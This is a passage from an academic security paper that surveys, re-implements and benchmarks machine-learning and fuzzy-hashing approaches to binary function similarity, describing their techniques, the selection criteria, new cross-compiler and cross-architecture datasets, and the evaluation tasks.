wide range of solutions recently proposed by three different
research communities. We re-implemented these approaches
and created a new dataset (with binaries compiled with differ-
ent compilers, optimizations settings, and for three different
architectures), which enabled us to perform a fair and mean-
ingful comparison. This effort allowed us to answer a number
of research questions that go beyond what could be inferred
by reading the individual research papers. By releasing our
entire modular framework and our datasets (with associated
documentation), we also hope to inspire future work in this
interesting research area.

1 Introduction

Binary function similarity is the problem of taking as input
the binary representation of a pair of functions, and producing
as output a numeric value that captures the “similarity”
between them. This problem is very challenging to solve in the
general case. In fact, software is often compiled with different
toolchains, different compiler optimizations and flags, and,
in some scenarios like IoT devices, software is compiled

to different architectures, making trivial binary similarity
approaches ineffective.

Binary function similarity plays a crucial role in different
systems security research fields, as a number of research
problems require measuring function similarity as a core
building block. For example, reverse engineers often deal
with stripped binaries that have been statically linked (thus
without symbols), and binary code similarity approaches can
be used to match an unknown function to (labeled) functions
in a previously generated database, saving numerous hours
of reverse engineering effort. Binary similarity is also crucial
to effectively detect and patch vulnerabilities in third-party
libraries. In this case, given a vulnerable function, similarity
techniques help finding occurrences of that same function in
one or more binaries, allowing for a much quicker identifica-
tion and patching of problematic bugs. As additional examples,
this problem is also relevant for binary diffing and patch
analysis, in which two binaries with multiple functions must be
compared against each other, and in software lineage analysis
or malware clustering, in which the analysts is interested in pin-
pointing common functions across different malware samples
and to group them together according to their similarity.

The importance and relevance of this problem is reflected
by the available literature: researchers in many different dis-
ciplines, including systems security, programming languages,
and machine learning, have published an astonishing number
of papers (often in their respective top venues) to propose new
approaches for binary similarity. This competition has resulted
in a very rapid evolution of the existing techniques, and in the
progressive development and refinement of multiple solutions.

One would expect that this significant body of work would
be sufficient to answer a number of important research
questions. For example: How do different approaches compare
when evaluated with the same dataset and by using the
same metrics? Which are the main contributions of the
novel machine-learning solutions compared to simpler fuzzy
hashing approaches? Which is the role of different sets of
features? Do different approaches work better at different
tasks? Is the cross-architecture comparison more difficult
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to solve than working on a single architecture? Is there any
specific line of research that looks more promising as a future
direction for designing new techniques? Unfortunately, we
found that the current body of published research is unable to
answer these questions, due to a number of major challenges.

Challenges. The first challenge is the current inability to nei-
ther reproduce nor replicate previous results. While this is
sadly a common problem in the security field, the area of bi-
nary similarity is a particularly good example of this issue.
Only 12 out of the 61 solutions reported in the survey by Haq
et al. [27] released their tool to other researchers. And even
when the artifacts are available, they are often incorrect (i.e.,
they do not implement the exact same solution described in the
paper), incomplete (i.e., important components, for instance
for features extraction, are missing), or the code might not even
run on datasets different from the one used by its authors. Since
re-implementing previous techniques is very complex and ex-
tremely time consuming, each solution is typically compared
with only a couple of previous techniques that may sometimes
not even be designed to solve the same problem (e.g., code
search vs. binary diffing), and in some extreme cases the com-
parison is done only against a previous paper from the same
authors. The lack of reproducibility is even more relevant for
machine-learning approaches, where implementation choices,
hyperparameters, and training and testing methodologies
strongly influence the results. It is also often unclear whether
the released models should be used as-is or whether retraining
is necessary to reproduce similar results on different datasets.

The second challenge is that the evaluation results are
often opaque. Different solutions are typically customized for
slightly different objectives (e.g., searching for a vulnerability
vs. finding similar malware samples), in different settings (e.g.,
cross-compiler vs. cross-architecture), by using a different
concept of similarity (same code vs. same semantic), and op-
erating at different granularities (e.g., code snippets vs. entire
functions). The experiments are also performed on datasets
of different size and nature (e.g., firmwares vs. command-line
utilities), and the results are reported by using different metrics
(e.g., ROC curves vs. top-n vs. MRR10). Therefore, even the
most basic figures reported in each paper are not directly com-
parable. Thus, when results outperform previous works, it is
unclear whether it happens only in the selected scenario or also
in other use cases. To make things worse, papers often omit
details on how functions are filtered out and how positive and
negative pairs are selected for training, making it difficult to
reproduce the pipeline faithfully even with the same binaries.

Note also that these works are often built on top of non-trivial
pipelines, e.g., toolchains to determine function boundaries,
disassemble the code, and extract the control-flow graph. The
few available approaches use different toolchains and they
are built on different pipelines. It is thus very challenging to
determine how much the reliability of the initial “non-relevant”
stages of the pipeline actually affects the reliability of the
overall approach. In other words, it is often unclear whether the

superior results of a given approach are related to the contribu-
tions presented as novel or are instead related to other factors.

The combined effect of the first two challenges resulted in
a field that is extremely fragmented, where dozens of tech-
niques exist but without a clear understanding of what works
(or does not) in which settings. This brings us to the last chal-
lenge: the difficulty of understanding which direction binary
similarity research is heading, and why. Each new solution
adopts a more complex technique, or a new combination of
multiple techniques, and it is difficult to tell whether this is
driven by actual limitations of the simpler approaches or by
the need to convince the reviewers about the novelty of each
work. This fragmentation has often led to parallel and dis-
joint lines of research, where everyone is claiming to have the
best solution. This fragmentation has also led to papers with
sub-optimal evaluations and approaches. For example, papers
that are strong on the program analysis aspect may lack the
application of state-of-the-art machine-learning techniques.
Solutions based on machine learning are the current trend, but
they often blindly apply techniques from other fields, making it
harder to judge the overall progress and innovation in the area.

Contributions. In this paper, we perform the first systematic
measurement in this area of research. We first explore existing
research and group each solution based on the adopted ap-
proach, with a particular focus on recent successful techniques
based on machine learning. We then select, compare, and imple-
ment the ten most representative approaches and their possible
variants. These approaches are representative of a wide range
of trends and span across three different research communities:
the computer security, the programming language analysis, and
the machine-learning communities. To make our comparisons
meaningful, our implementations are built on top of a common
framework (e.g., we extract the raw features using the same un-
derlying implementation, while previous works rely on differ-
ent toolchains). If the original implementation is available, we
include the core model implementation in a common codebase
for training and testing and we extend the support for missing
architectures and bitnesses. Finally, we leverage parallel pro-
gramming and efficient data encoding techniques to avoid bot-
tlenecks that could negatively affect the model performances.

By re-implementing various approaches—and not nec-
essarily the “papers”— we isolate existing “primitives” and
evaluate them when used independently or combined with
each other, to gain insights and pinpoint important factors that
are hidden in the complexity of previous works, and to answer
various open research questions. To make this evaluation
effort more comparable, we also propose a new dataset that
we use as a common benchmark with varying aspects such
as compiler family, optimizations, and architectures.

Note that our research focuses on evaluating the main
techniques proposed to date without trying to reproduce the
exact results reported in the corresponding papers. While some
of our implementations are derived from the code released by
the authors when available, others have been developed from
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scratch with the goal of having a single codebase and pipeline
that can isolate the technique from the rest of factors that can
influence the result.

Our evaluation highlights several interesting insights. For
example, we found that while simple approaches (e.g., fuzzy
hashing) work well for simple settings, they fail when dealing
with more complex scenarios (such as cross-architecture
datasets, or datasets for which multiple variables change at
the same time). Among the machine-learning models, those
based on Graph Neural Network achieved the best results in
almost all the tasks, and are among the fastest when comparing
the inference time. Another interesting finding is that many
recently published papers all have very similar accuracy
when tested on the same dataset, despite several claims of
improvement over the state of the art.

While we do not claim that our code or dataset is better
or more representative than previous works, we release our
modular framework, the re-implementation of all the selected
approaches, the full dataset, and detailed instructions on how
to recreate it and tweak it.1 By allowing the community to
experiment with the individual components and to directly
compare one against each other, we hope to encourage and
ease the effort of future researchers that are interested in
approaching this active research area.

2 The Binary Function Similarity Problem

In its simplest form, binary function similarity aims at
computing a numeric value that captures the “similarity”
between a pair of functions in their binary representation,
raw bytes (i.e., machine code) constituting the body of the
function, as produced by a compiler. Note that, while in this
paper we focus on approaches that use functions as units of
code, researchers have also studied techniques that focus on
lower-level abstractions (e.g., basic blocks) or higher-level
ones (e.g., whole programs). The term similarity has instead
various interpretations, depending on the context. For this
paper, we consider two functions as “similar” if they have been
compiled from the same source code, independently from the
compiler, its version, its compilation flags, or even the archi-
tecture the function has been compiled to (e.g., x86, ARM).
Thus, according to our definition, two “similar” functions may
have vastly different binary representations — and this is what
makes this research problem interesting and challenging.

Binary function similarity has been studied in more than
a hundred papers. To complicate the landscape, most of the
existing approaches cannot be mapped to a single category
of techniques, as they are often built on top of different com-
ponents. Therefore, in this section we focus on the different
building blocks that these approaches are composed of, by

1All our artifacts and additional technical information are available at
https://github.com/Cisco-Talos/binary_function_similarity,
referred throughout the paper as [47].

looking first at the techniques to compute similarity, and then
at the types of input data that these approaches can make use of.

2.1 Measuring Function Similarity

Direct vs. indirect comparison. We can group the techniques
to measure function similarity in two main categories. The
first class of solutions implement a direct comparison of pairs
of functions, either by considering raw input data or by imple-
menting some sort of feature extraction. These solutions often
need to learn that two seemingly-unrelated values can repre-
sent similar functions, or vice-versa that close values do not
necessarily represent something similar. This is the case when
the features extracted from binary functions cannot be directly
compared by using basic similarity metrics as they may not
be represented in a linear space, or may not have an equivalent
weight on the similarity score. Therefore, researchers have
proposed to use machine-learning models in order to determine
if two functions are similar given a set of extracted features as
input. There are several approaches that implement this type of
similarity by leveraging Bayesian networks [2], convolutional
neural networks [44], Graph Matching Networks (GMN) [40],
regular feed-forward neural networks [67], or combinations
of them [37]. In these cases, the model is used to output a
similarity score between a pair of functions.

To find similar functions, these approaches need to search
over the entire dataset and compare the features of the queried
function against every entry in the dataset, which is not a
scalable solution. For this reason, many approaches implement
indexing strategies to pre-filter potentially similar candidates
with techniques such as tree-based data structures [55, 68], lo-
cality sensitive hashing [15,22,32,56,61] (approximate nearest
neighbor search), bloom filters [35], custom pre-filters based
on more simple numeric data [6,20], clustering techniques [81],
or even distributed search approaches such as map-reduce [15].

The second class of solutions implement indirect compar-
ison techniques. These approaches map the input features to
a “condensed” lower-dimensional representation that can be
easily compared to one another using a distance measure, like
the euclidean or the cosine distance. These solutions allow
efficient one-to-many comparisons. For instance, if a new
function needs to be compared against an entire dataset, one
can first map each function in the repository to its respective
low-dimension representation (this is a one-off operation),
then perform the same operation on the new function, and
finally compare these representations by using efficient
techniques such as approximate nearest-neighbors.

Fuzzy hashes and embeddings. A popular example of
low-dimensional representation is a fuzzy hash. Fuzzy hashes
are produced by algorithms that differ from traditional
cryptographic hashes because they are intentionally designed
to map similar input values to similar hashes. Pagani et al. [58]
studied the limitations of conventional fuzzy/locality sensitive

USENIX Association 31st USENIX Security Symposium    2101

https://github.com/Cisco-Talos/binary_function_similarity


hashes computed over raw executables, concluding that small
variations in the raw bytes of the input can significantly affect
the generated hash. However, even if vanilla fuzzy hashes may
not be suitable for function similarity, some approaches (like
FunctionSimSearch [18]) have proposed more specialized
hashing techniques to compare two functions.

Another popular form of low-dimensional representation re-
lies on embeddings. The term, popular in the machine-learning
community, refers to a low-dimensional space where semanti-
cally similar inputs are mapped to points that are close to each
other, regardless of how different the inputs looked in their
original representation. The goal of the machine-learning mod-
els is to learn how to produce embeddings that maximize the
similarity among similar functions and minimize it for differ-
ent functions. In the literature we can identify two main types
of embeddings: those that try to summarize the code of each
function and those that try to summarize their graph structure.

Code embeddings. Numerous researchers tried to adapt exist-
ing Natural Language Processing (NLP) techniques to tackle
the binary function similarity problem by treating assembly
code as text. These solutions process streams of tokens (e.g., in-
struction, mnemonic, operand, normalized instruction) and out-
put one embedding per code block, one embedding per instruc-
tion, or both. A first class of approaches (e.g., Asm2Vec [14]
and [64]) are based on word2vec [52, 53], a well-known tech-
nique in the NLP field. Although these models are not de-
signed for cross-architecture embedding generation, they can
be trained on different instruction sets at the same time, learn-
ing the syntax of different languages (but without being able
to map the semantics across languages) or they can be applied
on top of an intermediate language. A second line of solu-
tions is based on seq2seq encoder-decoder models [69], which
allows to map the semantics from different architectures to
the same embedding space, thus learning cross-architecture
similarity [49, 80, 82]. A third type of models builds on top
of BERT [12], the state-of-the-art pre-training model in NLP
based on the transformer [71]. For instance, OrderMatters [78]
uses the BERT model pre-trained on four tasks to generate ba-
sic block embeddings, while Trex [60] uses a hierarchical trans-
former and the Masked-Language-Modeling task to learn ap-
proximate program execution semantics and then transfer the
learned knowledge to identify semantically similar functions.

Assembly code embeddings are usually affected by the num-
ber of different instructions they can deal with (the so-called
out-of-vocabulary problem (OOV)), and by the maximum num-
ber of instructions that can be provided as input to the model.
As a result, certain approaches compute instruction-level em-
beddings [14, 16, 64], basic block embeddings [16, 78, 80, 82],
or function-level embeddings [14, 49, 60]. Instruction or
basic block embeddings are sometimes leveraged to compute
function similarity by using other algorithms such as Longest
Common Subsequence [82], or they are used as part of more
complex models as detailed in the following category.

Graph embeddings. Another line of research builds on
machine-learning approaches that compute embeddings
for graphs. These are very suitable to capture features
based on the function control-flow graphs, which are
cross-architecture by nature. These embeddings can be
generated by custom algorithms [24, 44] or by more complex
machine-learning techniques, such as Graph Neural Network
(GNN) [25, 40, 45, 76, 78, 79]. Some recent approaches
from the machine-learning community propose variations of
GNN, such as the GMN. These variations are able to produce
embeddings comparable in a vector space [40, 43], with the
particularity that these embeddings encode information from
the two graphs provided as input to the model.

Graph embedding approaches also often encode informa-
tion from each basic block in their corresponding node of
the graph to add more expressiveness. For instance, some
solutions compute a set of attributes for each node, thus leading
to Attributed Control-Flow Graphs (ACFG), which can either
be manually engineered [24, 76] or automatically learned
in an unsupervised way [45]. Other authors leverage other
embedding computation layers using some of the techniques
discussed earlier (e.g., at basic block level [45, 78, 79]).

2.2 Function Representations

Binary functions are essentially streams of bytes correspond-
ing to architecture-specific machine code and data. Starting
from this raw input, researchers have used a number of ways
to extract higher-level information that could be used to tell
whether two functions originate from the same source code.
The list, ordered by increasing level of abstraction, includes
the following pieces of information.

Raw bytes. Some solutions directly use the raw binary
information as a starting point for a similarity measure (e.g.,
Catalog1 [74]) or combine raw bytes with other information
obtained from the control-flow graph (CFG) or the call graph
(CG) [44].

Assembly. Assembly instructions, as obtained by a disassem-
bler, can be useful when operations can be encoded in many
different ways depending on the instruction size or its operands
(e.g., in x86/64 architecture, a mov instruction can be encoded
by using a number of different opcode bytes [33]). Approaches
such as Asm2Vec [14] and Trex [60] benefit from this level of
abstraction by using disassembled instructions as input, while
others compute additional metrics such as “the number of arith-
metic assembly instructions in a given function” [24, 25, 76].

Normalized assembly. Assembly code often encodes
constant values (e.g., immediate operands and absolute or
relative addresses), which result in a very high number of
potential combinations of operations and operands. Assembly
normalization is used in [22, 45, 49, 64, 80, 82] to abstract
away some of this variability, reduce the vocabulary size, and

2102    31st USENIX Security Symposium USENIX Association



converge all the possible variations of the same operation into
a single representation.

Intermediate representations. Some approaches work on an
even higher abstraction level by lifting the binary represen-
tation to an intermediate representation (IR). The use of an IR
brings several advantages: (i) it can unify the representation of
semantically equivalent but syntactically different instructions,
(ii) it potentially abstracts away non-relevant artifacts of
different architectures, and (iii) it allows to apply program
analysis techniques to simplify (and converge) certain code
constructs. Existing works have employed a number of
different IRs, such as LLVM [10, 23, 25], VEX [6, 10, 30, 67],
and IDA microcode [78, 79].

Structure. Numerous approaches try to capture the internal
structure of a given function, or the role that a function
plays within the overall program. To capture a function’s
internal structure, many approaches [3, 18, 32, 56] extract
the (intra-procedural) Control-Flow Graph (CFG). Some
enrich the CFG with data obtained from the basic blocks, i.e.,
Attributed Control-Flow Graph (ACFG) [18, 20, 24, 25, 40,
51, 76, 78, 79, 81], or other types of graphs or information
obtained from the function (e.g., register flow graph [1]) or its
context within the binary (call graph [44, 68]). Finally, some
techniques just benefit from the structure provided by the CFG
to compute alternative features — such as tracelets (sequences
of consecutive basic blocks in the CFG [11, 56]).

Data flow analysis. The implementation of an arithmetic
expression at the assembly level may employ different forms
to implement the same semantics. To deal with these scenarios,
previous works proposed to first compute program slices
based on data-flow dependencies, and to then normalize and
use them as features to capture a function’s behavior [9, 67].
Other papers, such as Vulseeker [25], employ data flow edges
between blocks as an additional feature.

Dynamic analysis. Some approaches rely on dynamic analy-
sis [19], e.g., by executing pairs of functions and extracting fea-
tures from the relationship between the inputs and outputs [30,
62]. Other approaches simply extract semantic features derived
from full or partial execution traces [29, 34, 39, 54, 72], while
other leverage emulation [77] or hybrid [31, 60] techniques.

Symbolic execution and analysis. As opposed to concrete
dynamic execution, some approaches rely on symbolic
execution to fully capture the behavior of the function under
analysis and to determine the relationship between its inputs
and its outputs, under all possible paths [6, 46, 55].

3 Selected Approaches

One of the main contributions of our work is to provide a
reference implementation for a number of key approaches and
to compare them by performing experiments on a common

and comprehensive dataset. Ideally, one would evaluate as
many approaches as possible, but clearly it is not feasible
to re-implement them all. It is also important to understand
that, while there are hundreds of papers on the topic, many
of them present small variations of the same techniques and
the number of novel solutions is significantly lower.

In this section we first discuss our selection criteria, and
we then introduce the set of techniques we implemented and
evaluated.

3.1 Selection Criteria

Scalability and real-world applicability. We are interested
in approaches that have the potential to scale to large datasets
and that can be applicable to real-world use cases. Thus,
we do not evaluate approaches that are inherently slow and
only focus on direct comparisons, such as the ones based on
dynamic analysis, symbolic execution, or high-complexity
graph-related algorithms.

Focus on representative approaches and not on specific
papers. There are many research works that propose just small
variations of the same approach — for example by reusing
previous techniques while slightly changing which features
are used. This often results in a similar overall accuracy, which
makes them less interesting for our comparison.

Cover different communities. The research contributions
on the problem of binary function similarity come from
different research communities and from both academia
and industry. Unfortunately, it is often the case that research
papers in a given community are only evaluated against
proposals from the same community or, at times, only
against previous works from the same authors. Thus, for our
evaluation, we wanted to include representative research from
the systems security, the programming language analysis, and
the machine-learning communities. For completeness, we also
considered approaches proposed by industry as well.

Prioritize latest trends. While the first contributions in this
research field date back to more than a decade ago, there has
been a recent surge in interest. Moreover, the majority of these
recent publications employ, in one way or another, techniques
based on machine learning. These techniques, in turn, have
been reported to outperform all previous approaches. Some
researchers have suggested that basic approaches work as well
as machine-learning techniques, but our evaluation shows that
this is the case only when considering simple evaluation scenar-
ios. Thus, while we do consider various types of approaches,
we do prioritize these latest, more promising, research trends.

3.2 Selected Approaches
In Section 2 we have presented the types of input data that
researchers have extracted over the years as well as the
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Figure 1: Function Similarity Systematization

possible methods to compute function similarity. However,
only a subset of the many papers published over the last decade
meet the criteria described above. Based on our analysis, we
identified 30 techniques, represented in Figure 1, out of which
we then selected ten representative solutions for our study.

The graph on the left of Figure 1 displays the approaches
clustered according to their respective research group. These
groups come from both academia and industry — with both
Google and Tencent being very active in this area. The edges
represent the other solutions to which each paper compares
its results with. For instance, the arrow between Gemini and
Genius means that the results of Gemini were compared by
the authors with the results previously obtained by Genius
(both from the same group). The right portion of Figure 1
shows instead the timeline of publication on the Y axis, and
the different types of input data on the X axis. The approaches
are then clustered in three main groups based on the different
ways of computing the similarity, i.e., fuzzy hashes, graph
embeddings, and code embeddings.

Both figures make use of tags (in brackets) to identify the
community ( [S] security, [PL] programming languages, [ML]
machine learning, and [SE] software engineering). We also use
the [Mono] and [Cross] tags to represent whether the proposed
approaches focus on, respectively, mono- or cross-architecture
scenarios.

Even if the graph in Figure 1 is not comprehensive and
only shows the papers we selected, it depicts once again how
several papers compare only against a limited set of previous
approaches. There are also other interesting messages we can
extract from these plots. First, the binary diffing tools grouped
in the middle box [13,16,83] have all been designed for a direct
comparison of two binaries (e.g., they use the call graph) and
they are all mono-architecture. Nevertheless, several papers
that proposed cross-architecture and function similarity solu-
tions compare their results against these tools. This is clearly an
issue that can lead to wrong conclusions and shows some flaws

in the experiments and inappropriate evaluation strategies.
Second, the graph shows that the different communities

are often quite hermetic and they rarely compare with papers
from other fields. This is a clear limitation for advancing
function similarity research and we hope this paper can foster
collaboration among the different fields. Last, we can identify
seminal papers such as Gemini [76] and discovRE [20] that
have been re-implemented and tested extensively in other
studies. These works have clearly inspired other researchers
to improve the state of the art.

The timeline picture on the right shows a clear trend: the
complexity of the solutions and the use of machine learning
grew over time. We used this information and the relationships
depicted in the picture to select ten state-of-the-art solutions
that are scalable, representative, and recent. At the same
time, we tried to maximize the variance between the research
communities.

For instance, we selected Gemini [76] but not Genius and
discovRE because Gemini outperformed Genius [24] in all its
experiments and Genius outperformed discovRE [20]. There-
fore, we are confident that Gemini also outperforms discovRE.
Based on similar considerations we selected Asm2Vec [14],
which demonstrated a better accuracy than Bingo [6]. We also
retained some works that at first sight may seem outdated (e.g.,
Catalog1 [74]) because we believe they are representative to
study the evolution of this field, have interesting results, and
reflect our selection criteria. Finally, in some cases we may
have selected more than one work in a given category. This can
happen when there are concurrent works and it is not clear from
the literature which one performs better. In the remaining part
of this section we briefly describe the ten selected solutions.

Bytes fuzzy hashing: Catalog1. Catalog1 [74] is a fuzzy
hashing approach based on the MinHash Locality Sensitive
Hashing [4]. The algorithm takes as input the function bytes
and produces a fixed length signature, which is a promising
way to compare functions from the same architecture.
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This work is from a non-academic community, and it is
implemented in an IDA plugin.

CFG fuzzy hashing: FunctionSimSearch. FunctionSim-
Search [18] uses the SimHash algorithm [7] to compute a
fuzzy hash that combines graphlets (i.e., small connected,
non-isomorphic, induced subgraphs) extracted from the CFG,
mnemonics, and immediate values from the assembly code.
The approach is potentially cross-architecture because of the
CFG-based features. This tool is developed by a researcher
from the industry.

Attributed CFG and GNN: Gemini. Gemini [76] uses a
GNN (Structure2vec [8]) to compute a function embedding
starting from the function ACFG (i.e., a control-flow graph with
basic-block level attributes). This approach marks a milestone,
because it is the first to leverage GNN with a Siamese architec-
ture [5] to learn function similarity. This is clearly an evolution
compared to basic ACFG-based solutions (Genius [24]) and it
is more efficient than other approaches that leverage CFG data
such as Bingo [6], Binsign [56], Kam1no [15], or Tracy [11].

Attributed CFG, GNN, and GMN: Li et al. 2019. The
approach presented in [40] is proposed by researchers from the
industry (DeepMind and Google) from the machine-learning
community and it presents a novel graph matching model to
compute the similarity between pairs of graphs. The authors
explored function similarity as one of the practical use cases.
This approach proposes two cutting-edge models from the
machine-learning community that had not yet been studied
by system security researchers. Moreover, the paper shows
promising results.

IR, data flow analysis and neural network: Zeek. Zeek [67]
performs dataflow analysis (slicing) on the lifted code (VEX
IR) at the basic-block level and computes strands. Then,
a two-layer fully-connected neural network is trained to
learn the cross-architecture similarity task. This approach
is the most advanced proposal combining intermediate
representations, data flow analysis, and machine learning. This
work outperforms previous research from the same authors.

Assembly code embedding: Asm2Vec. The Asm2Vec [14]
NLP model derives from the PV-DM variant of para-
graph2vec [38], an extension of the original word2vec [53]
model. Asm2Vec introduces a finer instruction-level splitting
and embedding construction in order to overcome the limita-
tions of the out-of-vocabulary (OOV) problem with assembly
instructions. This approach is fully unsupervised, and achieves
state-of-the-art results in the mono-architecture experiments.

Assembly code embedding and self-attentive encoder:
SAFE. SAFE [49] uses the self-attentive sentence encoder
from Lin et al. [42] to learn cross-architecture function em-
beddings. This approach is representative of the NLP encoders
from the seq2seq model, and, in contrast to Asm2Vec, it was
specifically designed to learn cross-architecture similarity.

Assembly code embedding, CFG and GNN: Massarelli et
al., 2019. Massarelli et al. [45] uses the same Structure2vec
GNN of Gemini [76], but it changes the block-level features,
switching from manually engineered features to unsupervised
ones. This approach is interesting because it is an evolution
of Gemini and it combines the advantages of instruction-level
embeddings, basic-block encoder, and GNN.

CodeCMR/BinaryAI. The model presented in [79] powers
the BinaryAI framework [70] for the binary source code
matching at function-level. We only focus on the part that
handles the function in binary format. The model combines
intermediate representation with an NLP encoder to get
basic-block embeddings and a GNN to obtain the graph
embedding. Two LSTMs encode strings and integer data from
the function. The function embedding is the concatenation
of the three, and the binary model is trained end-to-end. We
note that this work from Tencent is a follow-up of an authors’
previous work [78] and the authors, when contacted, explained
how the new model is more accurate.

Trex. Trex [60] is a recent work based on a hierarchical
transformer and micro-traces. This paper brings a dynamic
component that extracts function traces and that is fundamental
to learn the semantics of the functions. The authors pretrain the
ML model on these traces and transfer the learned knowledge
to match semantically similar functions. The matching phase
is based exclusively on static features while the emulation
to generate the micro-traces is required only during the pre-
training. This cross-architecture solution is built on top of the
transformer, the state-of-the-art deep learning model in NLP.

4 Evaluation

4.1 Implementation
One of the goals of this study is to perform a fair compar-
ison among the different approaches. For this reason, we
implemented each phase of the evaluation in an uniform way,
including the binary analysis, the feature extraction, and the
machine-learning implementations. In this way, it is possible
to create a common ground to perform a meaningful and fair
comparison of the different methodologies.

For the binary analysis phase we used IDA Pro 7.3 [28],
while for the feature extraction we relied on a set of Python
scripts using the IDA Pro APIs, Capstone [63], and Net-
workX [26]. We implemented all the neural network models
in Tensorflow 1.14, with the only exception of Trex [60],
which was built on top of Fairseq [57], a sequence modeling
toolkit for PyTorch. Finally, we used Gensim 3.8 [65]
to implement Asm2Vec [14] and to run the instruction
embedding models [45, 49].

In several cases we were able to obtain at least a portion of
the original code base of the underlying research works [17,21,
48, 50, 59, 74, 75]. Unfortunately, even when part of the code
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was available, it was often tailored to the dataset the authors
used in their paper, and we had to put a substantial implementa-
tion effort to make it execute correctly on a different set of test
cases. During this process, we adopted a uniform implemen-
tation to minimize evaluation differences and we introduced
several code optimizations. When the code was not available,
we contacted the authors, but we received either no answer or
limited support. Two approaches, Zeek [67] and Asm2Vec [14],
have been fully reimplemented, while CodeCMR was tested
by the authors due to the high complexity of the model and
several “hidden” variables not discussed in the paper.

Additional technical details of all our implementations,
together with information regarding our effort to contact the
respective authors and the considerations regarding the use
of pre-trained models, are available in [47].

We run all the experiments on a workstation equipped with
Ubuntu 18.04, Intel Xeon Gold 6230 (80 virtual cores @2.10
GHz), 128GB DDR4 RAM, and one Nvidia RTX2080 Ti GPU
(1350MHz, 11GB GDDR6, 13.45 TFLOPS FP32).

4.2 Dataset
We created two new datasets, Dataset-1 and Dataset-2,
which aim at capturing the complexity and variability of
real-world software, while covering the different challenges of
binary function similarity: (i) multiple compiler families and
versions, (ii) multiple compiler optimizations, (iii) multiple
architectures and bitnesses, and (iv) software of different
nature (command line utilities vs. GUI applications). We
use Dataset-1 to train the machine-learning models and both
datasets to test the evaluated approaches.

Dataset-1. Dataset-1 is composed of seven popular open-
source projects: ClamAV, Curl, Nmap, OpenSSL, Unrar, Z3,
and Zlib. Once compiled, they produce 24 distinct libraries.
Each library is compiled using two compiler families, GCC
and Clang, with four different versions each, covering major
releases from 2015 to 2021 (additional details on the open-
source projects and compiler versions are provided in [47].)
Each library is compiled for three different architectures,
x86-64, ARM, and MIPS, in 32 and 64 bit versions (with a
total of 6 architecture combinations), and 5 optimization levels
O0, O1, O2, O3, and Os.

Following our definition of function similarity, we disabled
function inlining to compare functions originating from exactly
the same source code: function inlining is in fact an addition
of code into the original source code, and it could potentially
pollute our results and lead to misleading conclusions.

In total, this dataset consists of 5,489 binaries, with an
average of 228 combinations per binary project, and a total
of 26.8M functions. Following the criteria applied by several
seminal papers [20, 24], we filtered out the functions that
had less than five basic blocks (18.2M). 80% of the filtered
functions correspond to functions with two basic blocks,
and 93% of these have less than 30 assembly instructions.

The remaining 8.6M functions are the starting point for the
construction of the training, validation and testing dataset. The
Appendix includes additional information about the number
of basic blocks and instructions for the selected functions.

Dataset-2. Dataset-2 is built on top of the binaries released by
the authors of Trex [60], a very recent paper. In particular, we
selected 10 libraries out of 13 to avoid any intersection with
Dataset-1: Binutils, Coreutils, Diffutils, Findutils,
GMP, ImageMagick, Libmicrohttpd, LibTomCrypt, PuTTy,
and SQLite. The dataset contains binaries already compiled
for x86, x64, ARM 32 bit and MIPS 32 bit, 4 optimization
levels (O0, O1, O2, O3) and GCC-7.5. Dataset-2 complements
our Dataset-1 with the purpose of i) validating the results of
the models of Dataset-1 on a diverse and large collection of
binaries, and ii) including the comparison with the recent Trex
approach. Indeed, Trex could not be pre-trained and fine-tuned
on Dataset-1, because the emulator released by the authors [59]
only supports a subset of the architecture and bitness combi-
nations. Moreover, as detailed in our online material in [47],
Trex is extremely expensive to retrain, and we opted to use the
same model as the authors in their experiments on the same
set of binaries. We acknowledge the potential advantage of
Trex in this evaluation compared to the other models trained
on Dataset-1 (thus on a larger set of architectures), and we
keep this into consideration in our discussion.

Dataset availability. To the benefit of the community and to
ease future works in the area, we are releasing the full dataset
to the public, available in [47]. We also release the scripts and
patches we used to compile them so that future researchers
can re-create the dataset and build on top of our work.

4.3 Experimental Settings
We performed extensive experiments to evaluate the accuracy
of the selected approaches and several of their variants. To this
end, we identify six different tasks to evaluate: (1) XO: the func-
tion pairs have different optimizations, but the same compiler,
compiler version, and architecture. (2) XC: the function pairs
have different compiler, compiler versions, and optimizations,
but same architecture and bitness. (3) XC+XB: the function
pairs have different compiler, compiler versions, optimizations,
and bitness, but same architecture. (4) XA: the function pairs
have different architectures and bitness, but the same compiler,
compiler version, and optimizations. (5) XA+XO: the function
pairs have different architectures, bitness, and optimizations,
but the same compiler and compiler version. (6) XM: the
function pairs come from arbitrary architectures, bitness,
compiler, compiler versions, and optimization.

The first three tasks evaluate the techniques for those use
cases that are limited to a single architecture only, including
some practical applications of function similarity in malware
analysis and collaborative reverse engineering. The fourth task
is relevant for the analysis of firmware images cross-compiled

2106    31st USENIX Security Symposium USENIX Association



by using always the same compiler and compiler options. The
fifth task is designed to support Dataset-2, which is compiled
with only one compiler and compiler version. Finally, the last
task is the most challenging and includes comparisons across
the entire dataset. In our evaluation we also consider three
sub-datasets for XM: XM-S, XM-M, and XM-L, which include
small-sized functions (with less than 20 basic blocks), medium
(between 20 and 100), and large ones (more than 100 blocks).

Each task is evaluated according to two different tests: (i)
the area under curve (AUC) of the receiver operating charac-
teristic (ROC) curve, which is an aggregate measure of the
performance of a model across all the possible classification
thresholds, and (ii) two commonly used ranking metrics,
the mean reciprocal rank (MRR), and the recall (Recall@K)
at different K thresholds. Ranking measures are useful to
evaluate the model performances in those applications where
it is necessary to search candidates functions through a large
database, such as in the vulnerability research use case.

For the first test, we constructed a dataset of 50k positive
pairs and 50k negative pairs for each task, with a total of 700k
function pairs across Dataset-1 and Dataset-2. For the ranking
test, we selected 1,400 positive pairs and 140k negative pairs,
that is 100 negative pairs for each positive one.

Overall our tests cover 438,981 unique binary functions,
with the constraint of having at least five basic blocks. In
every task, the pairs are randomly sampled according to the
corresponding constraints (e.g., in cross-optimization, positive
and negative pairs belong to the same architecture).

To make our evaluation more meaningful, we opted to
remove duplicate functions (by checking for their names
and the hash of their instructions). We also note that this
“pair selection” aspect is crucial for a proper evaluation.
Unfortunately, several recent works use different ways to
select such pairs, making their training tasks significantly
easier or more difficult. For example, in [36], the researchers
generated negative pairs while keeping the same compiler
options. In another example (VulSeeker [25]) the negative
pairs are randomly generated and they do not enforce any
check on the compiler options as well as the presence of the
anchor function. These inconsistencies hinder the potential
for fair comparisons, and they are often overlooked.

By following the common practice in this research area,
we present the evaluation of the selected approaches in the
most generic way, using two specifically designed datasets.
We note that directly evaluating the approaches on a security
application is usually challenging, especially in the case of
vulnerability discovery and malware clustering, because it re-
